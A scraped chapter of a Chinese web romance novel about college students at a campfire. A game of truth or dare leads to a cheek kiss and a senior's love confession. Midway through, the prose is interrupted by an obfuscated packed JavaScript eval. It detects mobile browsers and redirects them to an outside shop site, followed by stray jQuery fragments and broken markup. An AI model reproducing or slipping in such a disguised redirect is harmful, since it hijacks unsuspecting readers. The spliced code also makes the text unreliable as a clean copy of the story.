默认冷灰
24号文字
方正启体

12. 第 12 章

作者:紫铜仙本书字数:K更新时间:
    篝火噼啪作响,火星子偶尔蹦起,像夜空里短暂的流星。烤肉的油脂滴进火里,滋啦一声,香气更浓,混着果啤开罐的“嘶”声,钻进每个人的鼻子里。六个人围成一圈,影子被火光拉得老长,投在沙滩上,像六座扭曲的小山。


    关影的脸在火光里红得发亮,眼神飘忽。他晃了晃手里的果啤罐,金属罐壁映出他傻乎乎的笑:“来玩真心话大冒险吧,输了选一个,敢不敢?”


    周恒君眼睛瞬间亮了,像狼看见肉。他舔了舔嘴唇,视线在晋云和林鹤羽之间来回扫:“行啊,我憋了一肚子问题。”


    晋云靠在折叠椅上,长腿随意交叠,指尖转着打火机,咔哒一声,火苗明灭。他勾了勾嘴角,声音懒洋洋却带着钩子:“来啊,你们能赢我,我绝不藏着。”


    这话像往火堆里扔了把柴,大家的胜负欲轰地烧了起来。


    李泽推了推眼镜,镜片反光,看不清眼睛,只听见他低低一笑:“我也准备了好几个问题,想问林鹤羽……和会长。”


    林鹤羽僵在原地,烤年糕瞬间不香了。他恨不得原地蒸发——为什么又是我?旁边那位才是真正背景神秘的人好吗?!


    马大哈傻乎乎地指着自己鼻子:“你们不好奇我吗?”


    五颗脑袋齐刷刷摇头。


    马大哈:“……”


    关影已经兴奋得搓手,把一个黑漆漆的盲盒抱到怀里,像抱了个宝贝:“规则很简单,手心手背,不一样的出局,最后两人猜拳三局定胜负。玩不起的,喝一整瓶。”他晃了晃盲盒,里面的纸条哗啦响,笑得像只偷到鸡的狐狸。


    第一局开始。


    六只手翻上来,三心三背。


    第二轮,四只。


    第三轮,只剩关影和李泽。


    猜拳。


    石头、剪刀、布。


    李泽两胜一负,胜。


    关影飞快扫了眼自己那个写着“未知惩罚”的恐怖盲盒,果断怂了:“真心话。”


    周恒君喉结滚了滚,声音像从胸腔里硬挤出来:“你……到底谈过几次恋爱?”


    火堆噼啪一声,全场安静得能听见心跳。


    马大哈在旁边小声嘀咕:“少说也得三位数吧,关家小少爷哎。”


    关影垂下眼,折扇“啪”地合上,半晌才低声道:“……一个都没有。”


    “哈?!”


    周恒君直接炸了,头发抓得跟爆炸现场似的:“你骗鬼呢?!”


    马大哈笑得原地打滚:“你该不会……其实是纯情少年吧?”


    关影把扇子抵在下巴,仿佛陷入回忆:“我……喜欢过一个女孩子。追了很久,她一直拒绝我。”


    空气安静了三秒,随后全场爆发出一阵带着母性光辉的叹息。


    “哎哟我的小祖宗——”


    “弟弟别怕,哥哥教你。”


    “来,让兄弟亲一下就不委屈了。”


    关影把脸埋进臂弯,折扇被他捏得咔咔作响,恨不得立刻原地升天。


    他现在只有一个念头:


    谁他妈提议玩真心话大冒险的?老子记下他了。


    李泽推了推眼镜,笑得肩膀抖个不停,拍拍手:“行了行了,饶了我们关少爷,下一局——”


    画面一转,林鹤羽对上李泽那双在火光里闪着恶趣味的眼睛。


    林鹤羽:“……”


    完了。


    他从小到大的玄学霉运,在这一刻苏醒了。


    他仿佛已经看见自己社死当场的未来。


    晚风带着花香掠过,火堆猛地窜高,照得每个人脸上都像蒙了层橘红的面具。


    林鹤羽和马大哈留到最后。


    马大哈兴奋得满脸通红,压低声音却又掩不住:“我出剪刀,鹤羽你信我一次!”


    林鹤羽看着他那双亮得过分的眼睛,鬼使神差地点头。


    “三、二、一!”


    林鹤羽出石头。


    马大哈出布。


    “哈哈哈鹤羽你好好骗!”马大哈蹦起来,差点把罐子甩飞。


    下一秒,他笑声戛然而止。


    晋云坐在火光正前方,微微侧头,唇角弯出一个极温柔的弧度,眼底却冷得像淬了霜的刀锋,一寸寸刮过马大哈的脊梁骨。


    马大哈脖子一缩,干笑两声,默默把爪子藏到身后。


    李泽慢条斯理地开口:“鹤羽,真心话还是大冒险?”


    林鹤羽想都不想:“大冒险。”


    关影已经把那个黑漆漆的盲盒举到他面前,笑得见牙不见眼:“抽吧宝贝儿。”


    林鹤羽闭了闭眼,手伸进去,指尖碰到一张纸条,抽出来递过去。


    关影展开,笑声炸在夜空里:“请被惩罚者——选一位在场之人,用最深情的眼神,吻其脸颊十秒。”


    十秒。


    不是蜻蜓点水,是十秒。


    起哄声像浪潮,一波比一波高。


    林鹤羽耳边嗡嗡作响,血液全冲到太阳穴,咚咚咚,像有人拿锤子敲他的骨头。


    他抬头。


    晋云没动,只是看着他。


    火光在他瞳孔里跳动,像两簇安静却炽热的火。


    那目光太沉,太重,带着一种近乎残忍的纵容,仿佛在说:


    我在这里,随你怎么来。


    林鹤羽喉咙发紧,声音低得几乎听不见:“……我可以喝酒。”


    “喝酒!喝酒!一瓶!”


    “不敢就不敢,怂了怂了!”


    林鹤羽感觉自己莫名胆大起来,鬼使神差地起身,朝着晋云的位置走去:“愿赌服输。”


    路忽然变得很长,他一步一步走到晋云面前,每一步都像踩在自己心跳上。


    他弯腰,双手撑住晋云椅子两侧的扶手,把人困在自己影子里。


    近得能闻到对方身上淡淡的雪松香,混着海盐,滚烫又清醒。


    “学长,”他声音发颤,却固执地对上那双眼睛,“冒犯了……这次我欠你。”


    晋云没说话,只是睫毛轻轻颤了一下,像夜风掠过湖面。


    林鹤羽深吸一口气,缓缓俯身。


    时间在那一刻被拉成黏稠的糖丝。


    他的唇落在晋云左颊,隔着一层极薄的空气,先是试探地碰了一下,


    然后真正贴上去。


    温热的。


    带着一点胡茬的刺痛,又带着一点夜风的凉。


    十秒太长,长到他能听见自己心跳在耳膜里炸开,


    长到他能感觉到晋云的呼吸轻轻扫过自己耳廓,像羽毛,又像火。


    长到他几乎要沉溺。


    “时间到!”马大哈拖长声音喊。


    林鹤羽猛地退开,耳根红得滴血,额角全是细密的汗,唇上还残留着对方皮肤的温度。


    他像被烫到似的后退半步,声音哑得不成样子:“……可以了。”


    晋云抬手,指腹慢条斯理地摩挲过被吻过的地方,动作轻得像在抚摸什么易碎的珍宝。


    他低笑一声,嗓音被火烤得发哑,却带着钩子:


    “记住了,你欠我一次。”那语气,像猫终于叼住了尾巴。


    林鹤羽退开时,耳根红得透明,额头全是汗,像刚从水里捞出来。


    其余几人张着嘴,半天没合上。


    关影最先回魂,拍大腿:“我靠,这我能磕一辈子!”


    李泽推了推眼镜,镜片反光,语气平静得像在陈述天气预报:“毫无违和感,天生一对。”


    林鹤羽落荒而逃似的坐回原位,抱着可乐罐猛灌,试图降温。


    几轮过后,问题越来越离谱。


    有人坦白初吻在幼儿园,有人承认偷穿过室友的运动鞋。


    直到关影醉眼迷离,指着晋云大喊:“我就不信问不到你!再来!”


    最后两人:关影,晋云。


    猜拳,关影两胜一负。


    他直接原地蹦起来:“真心话还是大冒险?”


    晋云靠在椅背,火光在他睫毛下投出一弯阴影,声音淡得像夜风:“真心话。”


    关影正要开口,马大哈已经抢答:“你喜欢林鹤羽吗?”


    篝火噼啪一声,像替谁惊掉了下巴。


    晋云抬眼,目光穿过跳动的火舌,落在林鹤羽身上。


    “喜欢。”他回答得干脆,连多余的尾音都没有。


    马大哈酒劲上头,胆子肥得没边:“那你是……男人喜欢女人的那种喜欢吗?”


    晋云低低地笑了一声,那笑意从眼底漫上来,像潮水漫过礁石,缓慢,却势不可挡。


    他微微侧头,火光在他侧脸镀了一层薄金,声音轻得像叹息,又重得像誓言:


    “对。”


    “想把他按在怀里吻到喘不过气的那种,”


    “想让他只看着我,只属于我,”


    “想让他一辈子都逃不掉的那种。”


    每一句话都像一记重锤,砸在林鹤羽胸口。


    他呼吸停滞,指尖发麻,心脏在肋骨里横冲直撞,像要破笼而出的兽。


    全场寂静三秒。


    紧接着,关影带头鼓掌:“散会!散会!兄弟们,剩下的酒我承包了!”


    周恒君直接把马大哈按进沙子里:“你他妈是MVP!”


    林鹤羽坐在原地,耳边全是心跳,咚咚咚。


    学长喜欢他。


    不是学长学弟的喜欢。


    是……那种。


    他脑子里乱成一锅粥,烫得发疼。


    他偷偷抬眼。


    晋云正看着他,嘴角还挂着刚才那点笑,眼底却认真得吓人。


    像在等一个答案。


    林鹤羽猛地站起,声音发紧:“我、我去吹吹风!”


    然后逃也似的冲向平台外面。


    身后,关影的大嗓门远远传来:“鹤羽你跑什么啊——人情还没还呢——”


    月光像一层薄薄的银纱铺在山路上,脚下的碎石被踩得咔啦咔啦响。林鹤羽把双手插进卫衣口袋,肩膀缩着,像是要把自己缩成更小一团。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053387|194848||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>晋云跟在他半步之后,影子被月光拉得很长,几乎要盖住他。


    安静得过分,连虫鸣都像在屏息。


    林鹤羽终于憋不住了,声音低得几乎听不见:“……学长,你刚才说的是真的?”


    晋云没立刻回答,只轻轻“嗯”了一声。那声音混着夜风,落在林鹤羽耳里却像一块滚烫的炭。


    林鹤羽猛地停下脚步,回头看他。


    晋云也停了,月光正正好好落在他脸上,眉眼清清楚楚,没有半点玩笑的意思。


    “我说,”晋云放轻了声音,像怕吓到他,“我喜欢你。不是开玩笑,也不是今晚喝多了。”


    林鹤羽的呼吸一下子乱了,他盯着晋云的眼睛,像被固在原地。喉咙滚了滚,却发不出声音。


    晋云往前走了一步,距离近到林鹤羽能闻到他身上淡淡的啤酒味混着篝火的烟味。


    “我知道你现在可能很乱,”晋云的声音低而稳,“你不用立刻给我答案。我只是……不想再瞒着了。”


    林鹤羽的指尖在口袋里攥得发白。他张了张嘴,想说点什么,却只挤出一句干巴巴的:“……我没谈过恋爱。”


    晋云愣了一下,随即低低地笑了,笑声像夜风一样轻轻扫过林鹤羽的耳廓。


    “我知道。”他顿了顿,声音温柔。


    林鹤羽猛地抬头,脸在月光下红得透明:“谁、谁说我要跟你谈了!”


    晋云没反驳,只是偏着头看他,眼里带着一点点坏,又满是纵容。


    林鹤羽被看得心口发烫,慌乱地转过身继续往前走,步子却比刚才乱多了。


    走了几步,他又停下,背对着晋云:


    “……你让我想想,我现在很乱。”


    身后安静了两秒。


    然后是晋云极轻极轻的笑声,像夜里突然绽开的烟花。


    “好。”他回答,声音里带着藏不住的愉悦。


    林鹤羽的耳朵瞬间烧得通红,差点原地炸成烟花。


    他没再说话,只是把帽兜猛地拉上来遮住脸,快步往回走。


    晋云在后面不紧不慢地跟着,嘴角的笑意怎么也压不下去。


    夜风吹过,松针沙沙作响,像在替谁偷偷鼓掌。


    篝火只剩下一堆暗红的炭,偶尔还爆出一声轻响。 其他人早就闹腾着散场,关影被周恒君架着,马大哈自己把自己埋进沙子里,李泽慢条斯理地收起盲盒,临走还意味深长地冲晋云眨了下眼。


    一转眼,只剩林鹤羽和晋云。


    林鹤羽蹲在地上,把空罐一个一个塞进垃圾袋,指尖冰凉,却怎么也压不住胸口那团火。 他故意把动作放得很慢,慢到能听见自己心跳在耳膜里擂鼓。


    “学长,收拾好了。” 他站起来,拍了拍手上的沙,声音紧得发干,“我先回去了。”


    晋云没说话,只是弯腰把最后一只烤串签子捡起来,扔进火堆。 火星溅起,照亮他低垂的睫毛和微微上扬的唇角。


    “一起走吧。” 语气温和,像在讨论天气,却带着不容拒绝的重量。


    林鹤羽张了张嘴,最终什么也没说。


    两人并肩。


    夜风潮湿,带着温泉的硫磺味和松木的清香,一路往山上爬。 温泉社的路灯很低,像一排会发光的小蘑菇,灯光被雾气晕开,软绵绵地铺在石板路上。 光照不到的地方,黑得发沉,只能听见脚下枯叶被踩碎的细碎声响,和远处偶尔一声夜鸟的低鸣。


    林鹤羽把双手插进卫衣口袋,走得很快,却怎么也甩不开身边那道影子。 每过一个分叉路口,他都暗暗祈祷:这次他该拐弯了吧?


    没有。 晋云始终与他并排,步子不紧不慢,像在散步,又像在狩猎。


    雾越来越重,路灯的光被吞进去大半,只剩下一圈昏黄的晕。 林鹤羽的呼吸在冷空气里化成白雾,一团团散开。


    他终于忍不住,声音低得几乎听不见: “学长,你住哪儿?”


    晋云侧头看他:“前面就到。”


    林鹤羽顺着他的视线看过去。


    雾气深处,一栋木屋的轮廓慢慢浮现。 暖黄的窗灯亮着,门牌号在雾里若隐若现。


    是他房间的号码。


    林鹤羽猛地停下脚步,声音发飘:“……你跟我住同一间?”


    晋云也停下来,站在他身侧半步,近得能闻到他身上被火烤过的烟味。 他低笑一声:“那还真是巧。”


    他抬手,指尖轻轻拂过林鹤羽耳侧被风吹乱的碎发。


    “还是说,” 他俯身,声音贴着林鹤羽的耳廓,一字一顿, “你早就知道?”


    林鹤羽的呼吸瞬间乱了。


    雾气里,木屋的门灯一明一灭,像在呼吸。


    咔哒。


    门开了。


    晋云侧身,让出门口的位置,声音低得只剩气音:


    “进来吗?”


    林鹤羽站在原地。


    他深吸一口气,抬脚。


    门在他身后轻轻合上。


    咔哒。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)